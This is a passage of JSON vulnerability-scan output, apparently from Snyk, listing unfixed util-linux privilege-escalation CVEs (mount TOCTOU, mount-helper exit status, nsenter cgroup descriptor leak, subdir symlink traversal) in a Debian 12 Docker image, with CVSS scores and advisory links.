"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- 